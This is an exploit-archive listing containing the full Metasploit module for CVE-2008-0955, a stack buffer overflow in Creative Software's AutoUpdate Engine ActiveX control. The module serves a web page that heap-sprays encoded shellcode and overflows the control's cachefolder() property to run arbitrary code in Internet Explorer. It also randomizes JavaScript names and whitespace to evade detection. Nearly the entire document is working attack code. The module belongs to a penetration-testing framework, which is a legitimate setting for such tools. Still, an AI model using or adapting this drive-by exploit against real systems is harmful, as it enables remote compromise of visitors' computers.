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Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow

Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow
Posted Nov 26, 2009
Authored by MC | Site metasploit.com

This Metasploit module exploits a stack overflow in Creative Software AutoUpdate Engine. When sending an overly long string to the cachefolder() property of CTSUEng.ocx an attacker may be able to execute arbitrary code.

tags | exploit, overflow, arbitrary
advisories | CVE-2008-0955
MD5 | 10d75b9d3dc9e4dcd59f10bb71395070

Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow

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##
## $Id: creative_software_cachefolder.rb
###

###
## This file is part of the Metasploit Framework and may be subject to
## redistribution and commercial restrictions. Please see the Metasploit
## Framework web site for more information on licensing and terms of use.
## http://metasploit.com/framework/
###


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

include Msf::Exploit::Remote::HttpServer::HTML

def initialize(info = {})
super(update_info(info,
'Name' => 'Creative Software AutoUpdate Engine ActiveX Control Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Creative Software AutoUpdate Engine. When
sending an overly long string to the cachefolder() property of CTSUEng.ocx
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' => [ 'MC', ],
'Version' => '$Revision$',
'References' =>
[
[ 'CVE', '2008-0955' ],
[ 'OSVDB', '45655' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => '' } ]
],
'DisclosureDate' => 'May 28 2008',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload
return if ((p = regenerate_payload(cli)) == nil)

# Encode the shellcode
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

# Randomize the javascript variable names
vname = rand_text_alpha(rand(100) + 1)
var_i = rand_text_alpha(rand(30) + 2)
rand1 = rand_text_alpha(rand(100) + 1)
rand2 = rand_text_alpha(rand(100) + 1)
rand3 = rand_text_alpha(rand(100) + 1)
rand4 = rand_text_alpha(rand(100) + 1)
rand5 = rand_text_alpha(rand(100) + 1)
rand6 = rand_text_alpha(rand(100) + 1)
rand7 = rand_text_alpha(rand(100) + 1)
rand8 = rand_text_alpha(rand(100) + 1)

content = %Q|
<html>
<object id='#{vname}' classid='clsid:0A5FD7C5-A45C-49FC-ADB5-9952547D5715'></object>
<script language="JavaScript">
var #{rand1} = unescape('#{shellcode}');
var #{rand2} = unescape("%u0c0c%u0c0c");
var #{rand3} = 20;
var #{rand4} = #{rand3} + #{rand1}.length;
while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
var #{rand5} = #{rand2}.substring(0,#{rand4});
var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
var #{rand7} = new Array();
for (#{var_i} = 0; #{var_i} < 500; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
var #{rand8} = ""
for (#{var_i} = 0; #{var_i} < 1024; #{var_i}++) { #{rand8} = #{rand8} + unescape("%0c%0c") }
#{vname}.cachefolder(#{rand8});
</script>
</html>
|

# Randomize the whitespace in the document
content = Rex::Text.randomize_space(content)

print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

end

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